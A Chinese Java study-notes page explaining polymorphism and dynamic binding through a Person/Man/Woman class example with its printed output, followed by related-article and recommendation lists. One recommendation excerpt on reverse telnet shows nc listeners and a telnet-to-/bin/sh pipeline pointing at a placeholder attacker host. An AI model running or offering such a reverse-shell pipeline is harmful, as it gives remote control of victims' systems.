Java学习笔记——多态性Polymorphism
Java中实现多态的机制
Java中实现多态的机制靠的是父类或者接口定义的引用变量可以指向子类或者具体的实现类的实例对象,而程序调的方法在运行期才动态绑定,就是引用变量所指向的具体实例对象的方法,也就是内存里正在运行的那个对象的方法,而不是引用变量的类型中定义的方法。
具体来说,就是父类A有一个方法function(),子类B,C分别继承A并且重写function(),当创建一个对象A b = new B(); b.function()就调用B的funciotn,假如你new C(),那调用的就是C重写的function。怎么判断使用那个类的function就是动态绑定,这个现象就是多态。
范例代码:
public class Test0718_Polymorphism2 {
public static void main(String[] args) {
Person person1 = new Person();
Person person2 = new Man();
Person person3 = new Woman();
person1.walk();
person2.walk();
person3.walk();
((Man) person2).Moneyyy();
// ((Woman)person2).Shopping();
((Woman) person3).Shopping();
person1.nameString = "xm";
person1.age = 17;
person2.nameString = "男人姓名";
person2.age = 18;
m1(person1);
m1(person2);
m1(person3);
// Man man = new Man();
// Woman woman = (Woman)man;
}
public static void m1(Person person) {
String iString = person.getInfo();
System.out.println(iString);
}
}
class Person{
String nameString;
int age;
public void walk() {
System.out.println("走路。。。");
}
public static void pName() {
System.out.println("姓名。。");
}
public String getInfo() {
// TODO Auto-generated method stub
return "Name:"+nameString+"\tAge:"+age;
}
}
class Man extends Person{
int money;
int age;
@Override
public void walk() {
System.out.println("男人走路。。。");
}
public static void pName() {
System.out.println("男人姓名。。");
}
public void Moneyyy() {
System.out.println("男人赚钱。。。");
}
@Override
public String getInfo() {
// TODO Auto-generated method stub
return "Name:"+nameString+"\tAge:"+age+"\tMoney:"+money;
}
}
class Woman extends Person{
int hehe;
@Override
public void walk() {
System.out.println("女人走路。。。");
}
@Override
public String getInfo() {
// TODO Auto-generated method stub
return "Name:"+nameString+"\tAge:"+age+"\tHehe:"+hehe;
}
public void Shopping() {
System.out.println("女人购物。。");
}
}
执行结果:
走路。。。
男人走路。。。
女人走路。。。
男人赚钱。。。
女人购物。。
Name:xm Age:17
Name:男人姓名 Age:0
Money:0
Name:null Age:0
Hehe:0
输出完成 (耗时 0 秒) - 正常终止
Java学习笔记——多态性Polymorphism的更多相关文章
- Java学习笔记4
Java学习笔记4 1. JDK.JRE和JVM分别是什么,区别是什么? 答: ①.JDK 是整个Java的核心,包括了Java运行环境.Java工具和Java基础类库. ②.JRE(Java Run ...
- java学习笔记07--日期操作类
java学习笔记07--日期操作类 一.Date类 在java.util包中定义了Date类,Date类本身使用非常简单,直接输出其实例化对象即可. public class T { public ...
- java学习笔记08--泛型
java学习笔记08--泛型 泛型可以解决数据类型的安全性问题,它主要的原理,是在类声明的时候通过一个标识标识类中某个属性的类型或者是某个方法的返回值及参数类型.这样在类声明或实例化的时候只要指定好需 ...
- java学习笔记8--接口总结
接着前面的学习: java学习笔记7--抽象类与抽象方法 java学习笔记6--类的继承.Object类 java学习笔记5--类的方法 java学习笔记4--对象的初始化与回收 java学习笔记3- ...
- Java学习笔记之---面向对象
Java学习笔记之---面向对象 (一)封装 (1)封装的优点 良好的封装能够减少耦合. 类内部的结构可以自由修改. 可以对成员变量进行更精确的控制. 隐藏信息,实现细节. (2)实现封装的步骤 1. ...
- java学习笔记之OOP(二)
java学习笔记二.面向对象[OOP]Object Oriented Programming 一.三大特性: 1.封装:隐藏对象的属性和实现细节,仅对外提供公共访问方式,将变化隔离,便于使用,提高复用 ...
- 0037 Java学习笔记-多线程-同步代码块、同步方法、同步锁
什么是同步 在上一篇0036 Java学习笔记-多线程-创建线程的三种方式示例代码中,实现Runnable创建多条线程,输出中的结果中会有错误,比如一张票卖了两次,有的票没卖的情况,因为线程对象被多条 ...
- 0035 Java学习笔记-注解
什么是注解 注解可以看作类的第6大要素(成员变量.构造器.方法.代码块.内部类) 注解有点像修饰符,可以修饰一些程序要素:类.接口.变量.方法.局部变量等等 注解要和对应的配套工具(APT:Annot ...
- Java学习笔记(04)
Java学习笔记(04) 如有不对或不足的地方,请给出建议,谢谢! 一.对象 面向对象的核心:找合适的对象做合适的事情 面向对象的编程思想:尽可能的用计算机语言来描述现实生活中的事物 面向对象:侧重于 ...
随机推荐
- Codeforces 543D. Road Improvement (树dp + 乘法逆元)
题目链接:http://codeforces.com/contest/543/problem/D 给你一棵树,初始所有的边都是坏的,要你修复若干边.指定一个root,所有的点到root最多只有一个坏边 ...
- C语言中字符数组和字符串指针分析
这几天搞Unix上的C程序,里面用到了很多字符数组和字符串指针,我记得在学完C语言后相当一段时间里,对指针这个东西还是模模糊糊,后来工作也没怎么 用到过C,虽然网上这类的文章也有很多,还是决定自己在这 ...
- 妙用缓存调用链实现JS方法的重载
来自于我的博客http://sweets.cf/,转载注明出处 1.什么是方法重载 方法重载是指在一个类中定义多个同名的方法,但要求每个方法具有不同的参数的类型或参数的个数. 简而言之就是:方法重载就 ...
- 2016 icpc-camp 之旅(一)
啦啦啦,终于前往icpccamp啦! 嗯,该死的飞机居然晚点了! 诶,晚点居然还会发赔偿金! 飞机上没什么好说的,和萌神一起看了5集龙与虎,然后就到了. 讲道理,海南航空感觉一般. 我的座位前面有个平 ...
- POJ 2376 Cleaning Shifts 贪心
Cleaning Shifts 题目连接: http://poj.org/problem?id=2376 Description Farmer John is assigning some of hi ...
- hdu 5286 How far away ? tarjan/lca
How far away ? Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://acm.hdu.edu.cn/showproblem.php?pi ...
- thinkphp关联查询
$list=$model->table("$dName d ,$mName m,$cName c") ->field('d.*,m.title as musicTitl ...
- UVA11038- How Many O's?(组合数学)
题目链接 题意:求出在a到b之间的数中,有多少个0. 思路:组合数学问题.能够枚举每一个位置上的数i,如果i之前的数为left,后面的为right,后面有num位数.当i != 0时,将i置为0,所以 ...
- 反向telnet连接
首先使用nc工具进行监听: nc -l -n -v -p 80 nv -l -n -v -p 25 然后: /bin/telnet evil_hackers_ip 80 | /bin/sh | /bi ...
- BIOS 深入学习 转
http://blog.csdn.net/lightseed/article/category/547391